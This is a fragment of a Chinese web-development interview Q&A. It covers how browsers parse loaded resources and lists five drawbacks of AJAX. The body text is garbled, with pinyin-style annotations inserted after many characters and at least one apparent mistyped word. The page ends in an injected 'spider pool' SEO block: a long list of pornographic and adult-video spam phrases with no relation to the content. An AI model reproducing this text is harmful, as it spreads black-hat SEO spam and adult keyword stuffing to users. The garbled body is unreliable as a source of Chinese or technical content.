          解析:對(duì)加載到的資源(HTML、JS、CSS等)進(jìn)行語(yǔ)法解析,建議相應(yīng)的內(nèi)部數(shù)據(jù)結(jié)構(gòu)(比如HTML的DOM樹(shù),JS的(對(duì)象)屬性表,CSS的樣式規(guī)則等等)


          96. ajax的缺點(diǎn)

          1、ajax不支持瀏覽器back按鈕。
          2、安全問(wèn)題 AJAX暴露了與服務(wù)器交互的細(xì)節(jié)。
          3、對(duì)搜索引擎的支持比較弱。
          4、破壞了程序的異常機(jī)制。
          5、不容易調(diào)試


          主站蜘蛛池模板: 少妇精品无码一区二区三区| 无码人妻少妇色欲AV一区二区| 免费视频精品一区二区| 国产精品无码一区二区三区不卡 | 中文字幕日韩丝袜一区| 亚洲av午夜福利精品一区| 日韩人妻精品一区二区三区视频| 亚洲一区中文字幕在线观看| 亚洲午夜精品一区二区麻豆| 波多野结衣电影区一区二区三区 | 亚洲av永久无码一区二区三区| 国产精品综合一区二区三区| 国产亚洲欧洲Aⅴ综合一区| 中文字幕一区二区免费| 狠狠做深爱婷婷久久综合一区 | 日韩社区一区二区三区| 国产一区二区三区高清在线观看| 久久久久人妻精品一区蜜桃| 精品无码综合一区二区三区| 久久精品无码一区二区三区日韩| 亚洲视频在线观看一区| 国产成人精品无码一区二区老年人| 国产精品 一区 在线| 日韩免费无码一区二区三区 | 久久精品国产一区二区三区| 亚洲无圣光一区二区 | 亚洲片国产一区一级在线观看 | 美女视频一区二区| 奇米精品视频一区二区三区| 精品免费AV一区二区三区| 久久一区不卡中文字幕| 国产精品免费视频一区| 精品无码人妻一区二区三区品 | 在线播放国产一区二区三区| 无码日韩人妻AV一区免费l| 在线视频一区二区| 日本一区二区三区高清| 福利一区二区在线| 精彩视频一区二区| 亚洲一区爱区精品无码| 精品一区二区视频在线观看|